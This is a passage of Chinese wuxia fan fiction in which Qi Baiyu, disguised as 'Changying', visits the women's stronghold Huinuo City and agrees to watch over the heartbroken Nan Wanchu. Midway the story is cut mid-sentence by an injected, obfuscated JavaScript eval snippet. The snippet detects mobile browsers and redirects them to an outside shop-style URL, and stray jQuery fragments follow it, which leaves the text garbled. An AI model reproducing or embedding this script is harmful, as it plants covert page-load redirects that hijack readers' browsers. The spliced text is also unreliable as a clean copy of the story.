“你总算来了!”南晚楚见她第一句话,便这样说。
毁诺城有许多女子是自秦楼楚馆中救出,一个比一个生得美,但南晚楚在诸多美貌女子之中,也是别样的风情。她那淡色的唇、纤弱的身子、楚楚可怜的神色,教人面对她时说不出一句重话,更何况是面对她这样满面欢悦的表情。
戚白羽却不曾对她展露笑颜。她沉下脸色,问:“有谁欺负了你?”
南晚楚很勉强地牵动了一下嘴唇。戚白羽来得突然,她未及妆扮,笑容一落下去,便掩盖不住底下发红的眼眶和凄凉的神色。她没有答话,扯开话题道:“你倒好,几年也不来瞧一瞧我们!你看如今,守暗道的姐妹都不识得你了——这是白五妹,去年才入了城的。五妹,这是长缨姑娘,昔年建城时,她便出力良多,你只将她看做城中姐妹一般就好。”
连云寨和毁诺城对外一向摆出一副互相敌对的立场来,乃是为了双方的安全:若有人暗中计划着要对付哪一方势力,寻求盟友,另一方便容易及时传出警告。因要维持这种“敌对”,戚白羽作为戚少商的妹妹,是没法公然以原本面目行走于毁诺城中的。来此之前,她已戴上了面具,南晚楚等少数知情人,也只以她的化名“长缨”来称呼。
戚白羽向白五妹一点头,又对南晚楚道:“我这不是来效力了么?”
说话间,他们已经离开暗道出口,穿过城中街道。南晚楚指点给她:“这边几间是新建的,去年才刚建起来。中间连日阴雨,木头总干不了,还为着配先前的漆色,费了不少功夫。刘娘子和藤妹因触碰生漆,手都肿了,最后还是大娘亲自出马收了尾。如今屋子还晾着,暂作议事厅来用。”
戚白羽问:“原先的议事厅呢?”
南晚楚道:“那地方大娘嫌不够隐蔽,易攻难守;晚词嫌离她药房太远;我又嫌建得不够漂亮,如今改做了住房,收留新到的姐妹住下。说起新房,我们去年时还在城西建了一批。只是城中姐妹,如今来得越来越多,这一批新房,很快又将不够用的了。”
戚白羽问道:“如今城中有多少人?”
南晚楚不假思索,答道:“二百九十二人,其中有八名女童。”
要知道,毁诺城能力有限,所收容的只不过是附近的女子,息红泪虽然打出“收留天下不幸女子”的名号,但能够跋山涉水远道而来的、或者她们能主动知晓消息、去远处营救的女子,少之又少。在周围生活不幸的女子之中,又有许多人,宁可忍受家中的不幸,也无法下定决心抛舍一切,去另一个地方生活。
即便如此,毁诺城的人数仍旧比当日建城时,翻了一倍还多。
戚白羽一时不知道是该为她们能够到此而庆幸,还是为之感伤。但她也无暇和南晚楚多聊这个话题,因她们一路行来,下了楼梯、行过回廊,已经到了新的议事厅中。
息红泪正等在厅堂正中。
她脸上笑意盈盈,目光却很是深沉,仿佛自戚白羽一进屋,便在打量她。戚白羽望了望她,又转头一看南晚楚,问道:“怎么,今日我进了城来,没一个人见我是开心的。”
息红泪道:“怎么会!你太久不来,见了你,大家当然开心极了。只是……”
戚白羽知道她的意思,道:“你放心,连云寨没什么事,戚少商也没事。你就当是我与他吵了架,换个地方散散心。”
息红泪松了口气,失笑道:“那太好了,我们这城中,大为欢迎同戚少商吵了架的人!”
她们两人相识,说来也是一段奇妙缘分:当初戚白羽从草原出师,投奔戚少商时,息红泪与戚少商已经屡次因为戚少商拈花惹草而吵架,关系不复亲密。戚白羽掺和进去反而尴尬,那时她与息红泪,并没有留下什么交情。
不久之后,息红泪彻底心灰意冷,离开戚少商身边,创立毁诺城。到了这时,戚少商又觉对不起她,但碍着两人约好要假作敌对,他不能直接出手相帮。
于是,他派出那时候在武林中还声名不显的戚白羽,请她暗中助力。
要建一个只有女子的势力,不知要面对多少嘲讽、冷眼和贪欲,很能用得上一个蒙面高手,时不时出手把棘手的觊觎者打上一顿;也用得上一个内力深厚的姑娘,能辟开地下深处的硬土和岩石,也能轻松立起合抱粗的立柱。戚白羽着实没少出力,她们之间关系,在这段时日里反倒渐渐亲近起来。
因此,她在毁诺城里,依旧很是自在,也并不太过客气,只是同唐晚词、秦晚晴聚了一聚,几人叽叽喳喳,聊了一阵子。
她抵达毁诺城时,天色已不早了,很快到了密道机关例常巡视维护的时间,秦晚晴便先行离开。息红泪忽然想起来,道:“对了,眼看都快到晚饭时间了,还未与你安排住处——你就住晚楚隔壁如何?离我们都近。我记得晚楚左邻房子,是不是还空着的?”
南晚楚道:“嗯,我去找人清扫。”
她起身离开了。
息红泪仍在同戚白羽聊着:她预备住到什么时候?怎么只带这么少的行囊?是否干脆留在毁诺城过年?但她的目光,自打南晚楚一走,便一直望着门口。戚白羽心领神会,一边嘴上答着她的话,一边也留心南晚楚的足音。
直到在她耳中,那足音都已离得极远,南晚楚决不可能听清屋内人说话,她便止了话语。三人一起沉默下来,还是息红泪叹了口气,道:“你肯定也看出来了。”
戚白羽一点头,道:“她怎么回事?”
息红泪道:“还能怎么回事?她入了毁诺城,还是同从前的负心人藕断丝连,只不过被他再度辜负罢了!”
唐晚词冷笑道:“我们都说,要杀了那个负心汉,到了此时,她居然还是不许!”
息红泪苦笑道:“我倒是没资格说她。我只怕她自己做了傻事!”
戚白羽略一沉吟,道:“要杀人,我倒擅长。但她既然不许,那么杀人未必能解决问题。”
息红泪道:“我们姐妹四人,各有分工,平日里不可能时时伴她左右。因此想请你住她左近,好好盯一盯她,平日里同出同入,最好白日里还能有同一件事在忙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416073|200763||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。这些天,她整日恍恍惚惚,有时别人叫她,她都听而不闻,我们实在担心。”
戚白羽想了一想,道:“要我看着她,这没问题。不过,那负心汉是谁?住在何处?又怎样辜负了她?”
唐晚词答道:“那人就在邻镇,正因离得近,我们才都没注意晚楚有时溜出城去,与他私会。那人做出一副浪子回头的样子,说什么幡然悔悟,知晓晚楚才是此生真爱,如此云云,将她骗了数个月,最后才知,原来他只是想骗晚楚告诉她毁诺城机关情报,以此换取富贵罢了!”
戚白羽又问:“既然如此,想必他们两个,如今联系已经彻底断绝了?”
息红泪道:“不断也要断!如今我们三人轮番检查,晚楚要出城、要收信,都要经过我们检查才行,绝不让他们再度往来。”
戚白羽道:“那不还是可以杀他?杀了他,不让晚楚知道,不就是了?”
唐晚词张了张嘴,又合上,似乎正欲劝她,自己却先动了心。息红泪无奈地一笑,道:“这办法还真是只有你会想!”
戚白羽问:“如何?只在邻镇,我夜间赶去,不到清晨便能回,绝不给晚楚察觉。”
息红泪道:“要杀他也该是我去杀,哪有客人一来就差遣你的……!”
说到一半,她才蓦然觉察,先前叫戚白羽看着南晚楚,岂不也是差遣她?一时自己也笑了。笑罢,息红泪站起身,道:“好了,不用你杀人。先劳烦你跟晚楚两日,我想想此事如何来办。”
-
交际向来不是戚白羽的特长。她幼年就没有什么同伴可以聊天,后来又在草原孤零零地长大。如今那一点往来交际的本事,还是进了中原后,渐从戚少商和息红泪身上照葫芦画瓢地学得。
但是,要与南晚楚同进同出,实在很是简单。她的借口是现成的:数年没来毁诺城,城中大半面容都不认得,布局规划也一再变迁,正需要一个向导。
南晚楚恰恰便是毁诺城最好的向导。
她武艺是四姐妹中最低的,只有轻功稍佳,乃是因为从前在青楼中惯于习舞。但她的心思最玲珑,城中近三百女子,人人她都认得,不光是姓名来历,连性情喜好也一一谙熟于心。城中有什么冲突吵闹,全由她来调停;新来的姐妹该分配到哪个住所、从事何等工作、找谁引导和安慰,也由她来分派。
正因南晚楚是这样性子,虽然她心碎欲绝、神思不属,但戚白羽既开了口,她还是强打精神,领她细细将毁诺城前后讲了一遍。这城建时,规模并不算大,但是随着人员增加,如今已多出数条暗道,又增设了许多守城机关。这些地方一一细讲,不知不觉便耗去一天时间。
在这一日的晚餐时,息红泪便来寻她们两人,道:“长缨既来,咱们有桩规划已久的训练,终于有空办了——长缨,你愿不愿教城中姐妹骑马?”
戚白羽一听便明白:南晚楚很是擅长骑马。想必息红泪三人,这一天里绞尽脑汁,好容易想出来一个让南晚楚须臾不得离人的主意。她点头道:“自然可以。”